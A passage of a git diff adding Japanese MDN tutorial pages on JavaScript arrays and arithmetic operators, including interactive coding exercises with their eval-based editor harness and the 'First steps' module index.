'靴:23.99'; + +for (let i = 0; i <= 0; i++) { // No.2 + // No.3 + + // No.4 + + // No.5 + let itemText = 0; + + const listItem = document.createElement('li'); + listItem.textContent = itemText; + list.appendChild(listItem); +} + +totalBox.textContent = '合計: $' + total.toFixed(2); +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="リセット"> + <input id="solution" type="button" value="答えを見る"> +</div> +</pre> + +<pre class="brush: js notranslate">const textarea = document.getElementById('code'); +const reset = document.getElementById('reset'); +const solution = document.getElementById('solution'); +let code = textarea.value; +let userEntry = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = jsSolution; + solution.value = 'Show solution'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === '答えを見る') { + textarea.value = solutionEntry; + solution.value = '答えを隠す'; + } else { + textarea.value = userEntry; + solution.value = '答えを見る'; + } + updateCode(); +}); + +const jsSolution = 'const list = document.querySelector(\'.output ul\');\nconst totalBox = document.querySelector(\'.output p\');\nlet total = 0;\nlist.innerHTML = \'\';\ntotalBox.textContent = \'\';\n\nlet products = [\'パンツ:6.99\',\n \'靴下:5.99\',\n \'T シャツ:14.99\',\n \'ズボン:31.99\',\n \'靴:23.99\'];\n\nfor(let i = 0; i < products.length; i++) {\n let subArray = products[i].split(\':\');\n let name = subArray[0];\n let price = Number(subArray[1]);\n total += price;\n itemText = name + \' — $\' + price;\n\n let listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n}\n\ntotalBox.textContent = \'合計: $\' + total.toFixed(2);'; +let solutionEntry = jsSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// タブキーでテキストエリアから抜けてしまうのを防ぎ、 +// 代わりにカーソル位置にタブ文字を挿入する + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + const scrollPos = textarea.scrollTop; + const caretPos = textarea.selectionStart; + const front = (textarea.value).substring(0, caretPos); + const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// ユーザーがテキストエリアのコードを書き換える度に userCode を毎回更新する + +textarea.onkeyup = function(){ + // ユーザーのコードが表示されているときのみ状態を保存し、 + // 答えのコードでユーザーコードが上書きされないようにする + if(solution.value === '答えを見る') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</pre> + +<pre class="brush: css notranslate">html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background-color: #f5f9fa; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', '100%', 730, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="Active_learning_Top_5_searches" name="Active_learning_Top_5_searches">アクティブラーニング: 上位5件の検索</h2> + +<p>{{jsxref("Array.prototype.push()","push()")}} や{{jsxref("Array.prototype.pop()","pop()")}} といったメソッドを使用するよい例は、ウェブアプリでデータの中で有効な項目だけを抜き出して維持したいときなどです。例えば、アニメーションのあるシーンで、現在表示中の背景イメージを保持している配列があり、一度に表示するイメージをパフォーマンスなどの理由で 50 に制限したいとします。その際、新しいオブジェクトを配列に追加したと同時に、古いオブジェクトを削除して配列を希望のサイズに維持します。</p> + +<p>次の例では、もう少し単純に、検索ボックスのある、ダミーの検索サイトを用意しました。検索ボックスに文字が入力されたら、直前 5 つの検索語がリストに表示されます。検索された語が 5 を超えたら最後の検索語が削除されるようになります。新しい検索語が先頭に追加されるので、常に 5 つの検索語が表示されます。</p> + +<div class="note"> +<p><strong>注</strong>: 本当の検索アプリでは、前回の検索語をクリックすることでその検索に戻れて、実際に検索結果が表示されることでしょう！ただし、今は単純にしておきましょう。</p> +</div> + +<p>アプリを完成させるには...</p> + +<ol> + <li><code>// No.1</code> コメントの下に、検索ボックスに入力された検索語を配列の先頭に追加するコードを書いてください。検索語は <code>searchInput.value</code> と書いて取得します。</li> + <li><code>// No.2</code> コメントの下に、配列の最後の項目を削除するコードを書いてください。</li> +</ol> + +<div class="hidden"> +<h6 id="Playable_code_2" name="Playable_code_2">Playable code 2</h6> + +<pre class="brush: html notranslate"><h2>出力結果</h2> +<div class="output" style="min-height: 150px;"> + +<input type="text"><button>検索</button> + +<ul> + +</ul> + +</div> + +<h2>コードエディター</h2> + +<p class="a11y-label">コードエディターから抜けるには Esc キーを押して下さい(タブキーではタブ文字を挿入します)。</p> + + +<textarea id="code" class="playable-code" style="height: 370px; width: 95%"> +const list = document.querySelector('.output ul'); +const searchInput = document.querySelector('.output input'); +const searchBtn = document.querySelector('.output button'); + +list.innerHTML = ''; + +let myHistory = []; + +searchBtn.onclick = function() { + // 検索ボックスが空ではない場合のみ検索語を受け付けるようにします + if (searchInput.value !== '') { + // No.1 + + // 表示中の一覧を空にして、同じ項目が表示されないようにして、 + // 結果は検索語が入力される度に毎回作り直されます。 + list.innerHTML = ''; + + // 配列をループして、リスト内の全ての検索語を表示します + for (let i = 0; i < myHistory.length; i++) { + itemText = myHistory[i]; + const listItem = document.createElement('li'); + listItem.textContent = itemText; + list.appendChild(listItem); + } + + // 配列の長さが 5以上になったら一番古い検索語を削除します + if (myHistory.length >= 5) { + // No.2 + + } + + // 次の検索語を受け付けるため、検索ボックスを空にしてフォーカスします + searchInput.value = ''; + searchInput.focus(); + } +} +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="リセット"> + <input id="solution" type="button" value="答えを見る"> +</div></pre> + +<pre class="brush: css notranslate">html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background: #f5f9fa; +}</pre> + +<pre class="brush: js notranslate">const textarea = document.getElementById('code'); +const reset = document.getElementById('reset'); +const solution = document.getElementById('solution'); +let code = textarea.value; +let userEntry = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = jsSolution; + solution.value = 'Show solution'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === '答えを見る') { + textarea.value = solutionEntry; + solution.value = '答えを隠す'; + } else { + textarea.value = userEntry; + solution.value = '答えを見る'; + } + updateCode(); +}); + +const jsSolution = 'const list = document.querySelector(\'.output ul\');\nconst searchInput = document.querySelector(\'.output input\');\nconst searchBtn = document.querySelector(\'.output button\');\n\nlist.innerHTML = \'\';\n\nlet myHistory= [];\n\nsearchBtn.onclick = function() {\n if(searchInput.value !== \'\') {\n myHistory.unshift(searchInput.value);\n\n list.innerHTML = \'\';\n\n for(let i = 0; i < myHistory.length; i++) {\n itemText = myHistory[i];\n const listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n }\n\n if(myHistory.length >= 5) {\n myHistory.pop();\n }\n\n searchInput.value = \'\';\n searchInput.focus();\n }\n}'; +let solutionEntry = jsSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// タブキーでテキストエリアから抜けてしまうのを防ぎ、 +// 代わりにカーソル位置にタブ文字を挿入する + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + const scrollPos = textarea.scrollTop; + const caretPos = textarea.selectionStart; + const front = (textarea.value).substring(0, caretPos); + const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// ユーザーがテキストエリアのコードを書き換える度に userCode を毎回更新する + +textarea.onkeyup = function(){ + // ユーザーのコードが表示されているときのみ状態を保存し、 + // 答えのコードでユーザーコードが上書きされないようにする + if(solution.value === '答えを見る') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_2', '100%', 700, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="スキルをテストしよう!">スキルをテストしよう!</h2> + +<p>この記事の最後に到達しましたが、最も大事な情報を覚えていますか？移動する前に、情報を維持しているか検証するテストを見ることができます — <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Test_your_skills:_Arrays">Test your skills: Arrays</a> を見てください。</p> + +<h2 id="Conclusion" name="Conclusion">結論</h2> + +<p>この記事を読んで、配列がとても使えるものであることがお分かりいただけたのではないでしょうか。配列は JavaScript の至るところで見かけます。特に配列の各項目に対して同じことをする際にループと一緒に使われます。便利なループの基本については次のモジュールで教えますが、今は自分自身を褒めて、十分に休みましょう！このモジュールのすべての記事をやり終えました！</p> + +<p>ただし、次のモジュールの前に、理解度を確認するため、このモジュールの課題をやりましょう。残っているのはそれだけです。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/JavaScript/Guide/Indexed_collections">インデックス付きコレクション</a> — 配列とそのいとこにあたる型付き配列についての高度なガイドです。</li> + <li>{{jsxref("Array")}} — <code>Array</code> オブジェクトのリファレンスページです。詳細なガイドと機能については、このリファレンスページで紹介されています。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/What_is_JavaScript">JavaScript って何?</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript への最初のダイブ</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/What_went_wrong">何が間違っている? JavaScript のトラブルシューティング</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Variables">必要な情報を保存する — 変数</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Math">JavaScript での数学入門 — 数値と演算子について</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Strings">テキストを扱う — JavaScript での文字列</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods">便利な文字列メソッド</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Arrays">配列</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Silly_story_generator">評価: バカ話ジェネレーター</a></li> +</ul> diff --git a/files/ja/learn/javascript/first_steps/index.html b/files/ja/learn/javascript/first_steps/index.html new file mode 100644 index 0000000000..13cb953a6c --- /dev/null +++ b/files/ja/learn/javascript/first_steps/index.html @@ -0,0 +1,84 @@ +--- +title: JavaScript の第一歩 +slug: Learn/JavaScript/First_steps +tags: + - Arrays + - Article + - Assessment + - Beginner + - CodingScripting + - Guide + - JavaScript + - Landing + - Module + - Numbers + - Operators + - Variables + - 'l10n:priority' + - maths + - strings +translation_of: Learn/JavaScript/First_steps +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">最初の JavaScript のモジュールでは、初めて JavaScript を書く実践的な経験を体験する前に、「JavaScript とは何？」や「どのようなもの？」や「何ができる？」といったような基本的な質問に答えます。その後変数や文字列、 数値、配列といったような言語の内容をお話します。</p> + +<div class="in-page-callout webdev"> +<h3 id="フロントエンドのWeb開発者になりたいですか？">フロントエンドのWeb開発者になりたいですか？</h3> + +<p>私たちはあなたがあなたの目標に向かって取り組むために必要なすべての重要な情報を含むコースをまとめました。</p> + +<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">始めましょう</a></p> +</div> + +<h2 id="Prerequisites" name="Prerequisites">前提条件</h2> + +<p>このモジュールを始めるには JavaScript の知識は必要ありませんが、HTML や CSS に少し慣れている必要があります。JavaScript の学習を開始する前に以下のモジュールを学習することをお勧めします :</p> + +<ul> + <li><a href="/ja/docs/Learn/Getting_started_with_the_web">Web 入門</a> (<a href="/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript の入門</a> を含む)</li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 概論</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a></li> +</ul> + +<div class="note"> +<p><strong>注記</strong> : もしあなたが作業しているコンピューター・タブレットやその他のデバイスで自分でファイルを作れない場合は、<a href="http://jsbin.com/">JSBin</a> や <a href="https://glitch.com/">Glitch</a> といったようなオンラインコーディングプログラムで (ほとんどの場合) 試すことができます。</p> +</div> + +<h2 id="Guides" name="Guides">ガイド</h2> + +<dl> + <dt><a href="/ja/docs/Learn/JavaScript/First_steps/What_is_JavaScript">JavaScript って何？</a></dt> + <dd>MDN の初心者向け JavaScript コースへようこそ！<span>この最初の記事では JavaScript を高い視点から見ていき、「それは何ですか？」「それで何ができますか？」などの質問に答え、JavaScript の目的があなたに受け入れられるものであるかを確認します。</span></dd> + <dt><a href="/ja/docs/Learn/JavaScript/First_steps/A_first_splash">最初のダイブ</a></dt> + <dd><span id="result_box" lang="ja"><span>JavaScript の理論についていくつか学びましたが、それで何ができるのでしょう？完全に実践的なチュートリアルを通して、JavaScript の基本機能の短期集中コースを提供します。</span> <span>ここでは、簡単な数字当てゲームを段階的に作っていきます。</span></span></dd> + <dt><a href="/ja/docs/Learn/JavaScript/First_steps/What_went_wrong">何が間違っている？JavaScript のトラブルシューティング</a></dt> + <dd>前の記事で数字当てゲームを構築した時に、うまく動かなかったかもしれません。心配しないでください —この記事は、JavaScript のプログラムにエラーを見つけて修正するシンプルな方法を提供することで、こうした大変な事態からあなたを手助けすることを目的としています。</dd> + <dt><a href="/ja/docs/Learn/JavaScript/First_steps/Variables">必要な情報を保存する — 変数</a></dt> + <dd>前の 2 つの記事を読んで、JavaScript が何であるか、あなたのために何ができるか、他のウェブテクノロジーと一緒に使う方法、そして高い視点から見た主な機能を知ったことでしょう。この記事では実際の基礎に着目し、JavaScript の最も基本的な構成要素を扱う方法を見ていきます ― それが変数です。</dd> + <dt><a href="/ja/docs/Learn/JavaScript/First_steps/Math">JavaScript の簡単な数学 — 数値と算術演算子</a></dt> + <dd>ここで、JavaScript における数学について論じます。指示に従ってうまく数値を操作するために、演算子やその他の機能を組み合わる方法を説明します。</dd> + <dt><a href="/ja/docs/Learn/JavaScript/First_steps/Strings">テキストを扱う — JavaScript での文字列</a></dt> + <dd>次に、文字列に注目します ― プログラミングではテキストのことをこう呼びます。この記事では、文字列の作成、文字列の引用符のエスケープ、およびそれらの結合など、JavaScript を学習するにあたって本当に知っておくべき、文字列についてのすべての一般的な事柄を見ていきます。</dd> + <dt><a href="/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods">便利な文字列メソッド</a></dt> + <dd>文字列の基本について見てきましたが、文字列の長さの取得、文字列の結合と分割、文字列内の文字の置換、その他の文字列の置換など、組込みメソッドを使用して文字列に対して実行できる便利な操作について考えてみましょう。</dd> + <dt><a href="/ja/docs/Learn/JavaScript/First_steps/Arrays">配列</a></dt> + <dd>このモジュールの最後の記事では、配列を見ていきます — 単一の変数名の下に複数のデータ項目のリストを保存するのに適した方法です。ここでは、なぜこれが便利なのかを確認してから、配列の作成方法、配列に格納された項目の取り出し、追加、削除などの方法を学びます。</dd> +</dl> + +<h2 id="Assessments" name="Assessments">課題</h2> + +<p>以下の成績評価では、上のガイドで取り上げた JavaScript の基礎についての理解をテストします。</p> + +<dl> + <dt><a href="/ja/docs/Learn/JavaScript/First_steps/Silly_story_generator">バカ話ジェネレーター</a></dt> + <dd>この課題では、このモジュールの記事で取り上げた知識の一部を用いて、ランダムなバカ話を生成する愉快なアプリの作成に適用することを求められます。楽しんで取り組みましょう！</dd> +</dl> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<dl> + <dt><a href="https://learnjavascript.online/">Learn JavaScript</a></dt> + <dd>短いレッスンとインタラクティブなテストを使用して、自動化された評価に基づいた、インタラクティブな環境でJavaScriptを学びます。<br> + 最初の40レッスンは無料で、コース全体を少額の1回払いで利用できます。</dd> +</dl> diff --git a/files/ja/learn/javascript/first_steps/math/index.html b/files/ja/learn/javascript/first_steps/math/index.html new file mode 100644 index 0000000000..bbdb6550b7 --- /dev/null +++ b/files/ja/learn/javascript/first_steps/math/index.html @@ -0,0 +1,469 @@ +--- +title: JavaScriptでの基本演算 — 数値と演算子 +slug: Learn/JavaScript/First_steps/Math +tags: + - Article + - Beginner + - CodingScripting + - Guide + - JavaScript + - Learn + - Math + - Operators + - augmented + - increment + - 'l10n:priority' + - maths + - modulo +translation_of: Learn/JavaScript/First_steps/Math +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">今回は JavaScript での数学的処理についてです。我々の命令を実行するために上手く数値を操作するのにどのように {{Glossary("Operator","演算子")}} や、その他の機能を使用できるのかを見ていきましょう。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターの知識、HTML と CSS の基本についての理解、JavaScript が何かが分かっていること。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>JavaScript での基礎的な数値処理に慣れる。</td> + </tr> + </tbody> +</table> + +<h2 id="Everybody_loves_math" name="Everybody_loves_math">みんな数学が大好き</h2> + +<p>まあ、みんなではないですね。好きな人もいれば、九九や長い数字の割り算が出てきてから嫌いになってしまった人もいるでしょう。どちらでもない人も。けれど、数学が生活に必要なものであるということは、否定することは出来ません。特に JavaScript のプログラミングを学習しているのなら、なおさらです。数値データを処理したり、計算をしたりすることが多いので、JavaScript に数学的な関数が十分にそろっていることは、驚くことではありません。</p> + +<p>この記事ではまず知っておくべき基礎的なものに絞って見ていきます。</p> + +<h3 id="Types_of_numbers" name="Types_of_numbers">数値の種類</h3> + +<p>プログラミングをしていると、慣れ親しんだ普通の数値ですら難しいと思えるかもしれません。数値と言ってもいくつか種類があり、それぞれ名前を付けて区別しています。</p> + +<ul> + <li><strong>整数</strong> ( integer ) とは 10、400、-5 といった数値のことです。</li> + <li><strong>浮動小数点数 </strong>( float ) とは小数以下の数と小数桁を持つ 12.5 や 56.7786543 といった数値のことです。</li> + <li><strong>倍精度浮動小数点数 </strong>( double ) は浮動小数点数の特殊な型であり、通常の浮動小数点数よりも大きな精度を持ちます (つまりより大きい桁数まで精度を保つことを意味します)。</li> +</ul> + +<p>さらに通常とは異なる数値表現も使います！今まで出てきた数値は 10 を基数 (0 ～ 9 を 1 つの桁として扱う) とした十進数でしたが、他にも以下のようなものがあります。</p> + +<ul> + <li><strong>二進数</strong> — 0 と 1 だけで表現される、コンピューターの最も低レベルな言語です。</li> + <li><strong>八進数</strong> — 8 を基数として、1 桁を 0 ～ 7 で表します。</li> + <li><strong>十六進数</strong> — 16 を基数として、1 桁を 0 ～ 9、a ～ f で表します。もしかしたら <a href="/ja/Learn/CSS/Introduction_to_CSS/Values_and_units#Hexadecimal_values">CSS の色</a>を設定するときに見たかもしれませんね。</li> +</ul> + +<p><strong>脳みそが溶けそうだと思う前に、少し待ってください！</strong>まず、この講座では十進数しか扱いません。それに「もしかすれば」ですが、他の数値表現について考える機会は訪れないということだってあり得ます。</p> + +<p>さらにちょっといいことを教えましょう。いくつかの他のプログラミング言語とは違い、JavaScript には数値(整数と少数の両方)を表すデータ型が一つしかありません。わかりますか？{{jsxref("Number","Number (数値)")}} で、これは整数と小数の両方です。これはJavaScript でどんな型の数値を扱おうとも、それらを全く同じように扱うことが可能だということを意味します。</p> + +<div class="blockIndicator note"> +<p><strong>記</strong>: 実際に、JavaScript には 2 つ目の数値型である{{Glossary("BigInt")}} があり、これはとても大きな整数に使います。しかしこのコースの目的としては、<code>Number</code> の値だけに関心を持つことにします。</p> +</div> + +<h3 id="Its_all_numbers_to_me" name="It's_all_numbers_to_me">すべてが「Number」に見えるよね</h3> + +<p>書き方の復習を兼ねてちょっと数字で遊んでみましょう。以下に示すコマンドを<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">開発者ツールの JavaScript コンソール</a>入力してみましょう。もちろんこのページに埋め込みのコンソールを使っても構いません。</p> + +<ol> + <li>まず、変数を 2 つ宣言して、それぞれ整数と浮動小数点数で初期化してみましょう。そして、変数の名前を入力して、期待通りに値が入っていることを確認してみましょう。 + <pre class="brush: js notranslate">var myInt = 5; +var myFloat = 6.667; +myInt; +myFloat;</pre> + </li> + <li>数値にはクォーテーションマークが不要です。次に進む前にもう少し変数の宣言と初期化をしてみてください。</li> + <li>さて、それでは上で入力した 2 つの変数が同じデータ型であるか確認してみましょう。JavaScript では、{{jsxref("Operators/typeof", "typeof")}} という演算子を使用することで、データ型を確認することができます。次の 2 行を入力してみましょう。 + <pre class="brush: js notranslate">typeof myInt; +typeof myFloat;</pre> + どちらの変数についても <code>"number"</code> という文字が戻ってきましたね。もし、別々の数値型が存在しているとすれば、別々に処理しなければならないので、そう考えるととても簡単に思えますよね！</li> +</ol> + +<h3 id="便利な_Number_メソッド">便利な Number メソッド</h3> + +<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number">Number</a></code> オブジェクトは、あなたが JavaScript を使う時すべての基本的な数値を表現するインスタンスですが、その中には、数値を操作するための沢山の便利なメソッドがあります。この記事では、簡単な紹介と基本的な要点だけまとめたいので、詳しくは割愛しますが、この段落を何回か読んだら、オブジェクト参照ページに行って、どんなメソッドが使えるのかを勉強するのが良いと思います。</p> + +<p>例えば、数値を固定の桁数に丸めるには <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Number/toFixed">toFixed()</a></code> メソッドを使用します。ブラウザの<a href="/ja/docs/Tools/Web_Console">コンソール</a>に次の行を入力します。</p> + +<pre class="brush: js notranslate">let lotsOfDecimal = 1.766584958675746364; +lotsOfDecimal; +let twoDecimalPlaces = lotsOfDecimal.toFixed(2); +twoDecimalPlaces;</pre> + +<h3 id="数値データ型への変換">数値データ型への変換</h3> + +<p>たまに、文字列型として格納されている数字で計算ができなくなってしまうことがあります。これは、データが<a href="/ja/docs/Learn/Forms">フォーム</a>入力に入力され、<a href="/ja/docs/Web/HTML/Element/input/text">input タイプが text</a> である場合によく起こります。この問題を解決する方法があります - 文字列の値を <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Number/Number">Number()</a></code> コンストラクタに渡して、同じ値の数値バージョンを返します。</p> + +<p>例えば、これらの命令をコンソールに入力してみてください。</p> + +<pre class="brush: js notranslate">let myNumber = '74'; +myNumber + 3;</pre> + +<p>答えは 743 です。77 ではありません。 なぜなら <code>myNumber</code> は string として定義されているからです。以下の命令で確認することができます。</p> + +<pre class="brush: js notranslate">typeof myNumber;</pre> + +<p>これは以下のようにして修正することができます。</p> + +<pre class="brush: js notranslate">Number(myNumber) + 3;</pre> + +<h2 id="Arithmetic_operators" name="Arithmetic_operators">算術演算子</h2> + +<p>算術演算子は JavaScript で計算をするのに使用する最も基本的な演算子です。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">演算子</th> + <th scope="col">名前</th> + <th scope="col">目的</th> + <th scope="col">例</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>+</code></td> + <td>加算</td> + <td>左項と右項を足す。</td> + <td><code>6 + 9</code></td> + </tr> + <tr> + <td><code>-</code></td> + <td>減算</td> + <td>左項より右項の数を引く。</td> + <td><code>20 - 15</code></td> + </tr> + <tr> + <td><code>*</code></td> + <td>乗算</td> + <td>左項と右項を掛ける。</td> + <td><code>3 * 7</code></td> + </tr> + <tr> + <td><code>/</code></td> + <td>除算</td> + <td>左項の数値を右項で割る。</td> + <td><code>10 / 5</code></td> + </tr> + <tr> + <td><code>%</code></td> + <td>剰余 (モジューロともいう) </td> + <td> + <p>左項を右項で割った余りを求める。</p> + </td> + <td><code>8% 3</code> (8 を 3 で割ったとき、商 2 余り 2 の ２ ですね)</td> + </tr> + <tr> + <td><code>**</code></td> + <td>指数</td> + <td> + <p><code>基数</code>を<code>指数</code>の累乗にします。つまり、<code>指数</code>の回数だけ<code>基数</code>の数自身を乗算します。EcmaScript 2016 で最初に導入されました。</p> + </td> + <td><code>5 ** 2</code> ( <code>25</code> を返します。その値は <code>5 * 5</code> と同じですね)</td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>メモ</strong>: 演算子 (オペレーター) に必要とされる数のことを{{Glossary("Operand", "オペランド")}}と呼ぶことがあります。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>メモ</strong>: 指数が古い {{jsxref("Math.pow()")}} メソッドを使って表現されているのを見ることがあるかもしれませんが、それはとてもよく似た働きをします。たとえば、<code>Math.pow(7, 3)</code>では、<code>7</code> が基底で <code>3</code> が指数であるため、式の結果は <code>343</code> になります。<code>Math.pow(7, 3)</code> は <code>7**3</code> と同じです。</p> +</div> + +<p>たぶん基本的な数学を教える必要はないでしょうが、ここに出てくる文法を理解しているかをテストしたいと思います。書き方を覚えるため、以下に示す例を<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">開発者ツールの JavaScript コンソール</a>に入力してみましょう。</p> + +<ol> + <li>まずは次のような簡単な例を自分で試してみてください。 + <pre class="brush: js notranslate">10 + 7 +9 * 8 +60 % 3</pre> + </li> + <li>そして、変数を宣言して初期化し、数を変数に格納します。それから変数を使って計算してみましょう。変数は計算するにあたり、保持している値がそこにあるかのように使えます。例えば次の通り。 + <pre class="brush: js notranslate">let num1 = 10; +let num2 = 50; +9 * num1; +num1 ** 3; +num2 / num1;</pre> + </li> + <li>それではさらに難しい計算式を入力してみましょう。 + <pre class="brush: js notranslate">5 + 10 * 3; +num2 % 9 * num1; +num2 + num1 / 8 + 2;</pre> + </li> +</ol> + +<p>最後の例の中に予想した結果と違う答えがありませんでしたか。次の章でなぜそうなったかを説明してみましょう。</p> + +<h3 id="Operator_precedence" name="Operator_precedence">演算子の優先順位</h3> + +<p>先ほどの計算式の一番最後の例を見てみましょう。<code>num2</code> に 50、<code>num1</code> に 10 が格納されているものとします。(最初はそうでしたよね。)</p> + +<pre class="brush: js notranslate">num2 + num1 / 8 + 2;</pre> + +<p>ある人は、先に「50 + 10 = 60」と「8 + 2 = 10」を先に計算して、その後で「60 ÷ 10 = 6」となるように計算するかもしれません。</p> + +<p>けれどもブラウザは「10 ÷ 8 = 1.25」を先に計算してから「50 + 1.25 + 2 = 53.25」を計算します。</p> + +<p>どうしてこうなるのかといえば、<strong>演算子には優先順位がある</strong>からです。ある演算子は (プログラムの<em>式</em>によっては) 他の演算子よりも先に実行されます。JavaScript の演算子の優先順位は算数の授業で教わったものと同じです。つまり、乗算と除算は常に最初に行われ、それから加算と減算が実行されます(通常の計算は常に左から右に評価されます)。</p> + +<p>もし、演算子の優先順位を変更したいならば、先に実行したい部分を括弧 (<code>()</code>) を使って囲みます。もし先ほどの例で 6 が答えになるようにしたいなら次のようにします。</p> + +<pre class="brush: js notranslate">(num2 + num1) / (8 + 2);</pre> + +<p>実際に実行し、結果を見てみてください。</p> + +<div class="note"> +<p><strong>メモ</strong>: JavaScript の演算子とその優先順位については<a href="/ja/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operator_precedence">式と演算子</a>で確認することができます。</p> +</div> + +<h2 id="Increment_and_decrement_operators" name="Increment_and_decrement_operators">インクリメント演算子とデクリメント演算子</h2> + +<p>たまに、繰り返し値を足したり引いたりしたいときがあるでしょう。そんなときに便利なのがインクリメント演算子 (<code>++</code>) とデクリメント演算子 (<code>--</code>) です。もう既に、<a href="/ja/docs/Learn/JavaScript/Introduction_to_JavaScript_1/A_first_splash">JavaScript への最初のダイブ</a>に出てくる「数字当てゲーム」で、ユーザーの残り予想回数を求めるために使用する <code>guessCount</code> 変数に 1 を加えるのに <code>++</code> を使用しましたね。</p> + +<pre class="brush: js notranslate">guessCount++;</pre> + +<div class="note"> +<p><strong>メモ</strong>: これらの演算子は、このコースの後で学ぶ<a href="/ja/docs/Web/JavaScript/Guide/Loops_and_iteration">繰り返し</a>処理でよく使われます。例えば、価格の一覧があって、それに対して掛かる税金を各要素に足していきたいとします。恐らく繰り返し処理を使用して、それぞれの価格に対して必要な計算をすることになるでしょう。そのときに、次の値に移動するためインクリメント演算子を使用します。どのように行うかを説明する簡単な例をご用意しました。— インクリメント演算子に興味を持ったら<a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/loop.html">ライブで実行</a>、および<a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/maths/loop.html">ソースコードの閲覧</a>をしてみてください。繰り返しについては、このコースの後で詳細を見てみます。</p> +</div> + +<p>それでは、コンソールで試してみましょう。ただし、その前に注意点です。この演算子は数値には直接使用できません。変に思えるかもしれませんが、これは対象の値そのものに作用するわけではなく、変数に対して新しい値を代入するのです。次の例はエラーになります。</p> + +<pre class="brush: js notranslate">3++;</pre> + +<p>既に存在する値に対してのみインクリメントすることができます。</p> + +<pre class="brush: js notranslate">let num1 = 4; +num1++;</pre> + +<p>また変なことが起きましたね！上のコードを実行したとき「4」がコンソールに表示されました。これはブラウザが現在の値を先に返して、その後にインクリメントを実行したためです。もう一度変数を入力してみると、変数がインクリメントされていることがわかります。</p> + +<pre class="brush: js notranslate">num1;</pre> + +<p>それは <code>--</code> 演算子についても同様です。以下のコードも試してみてください。</p> 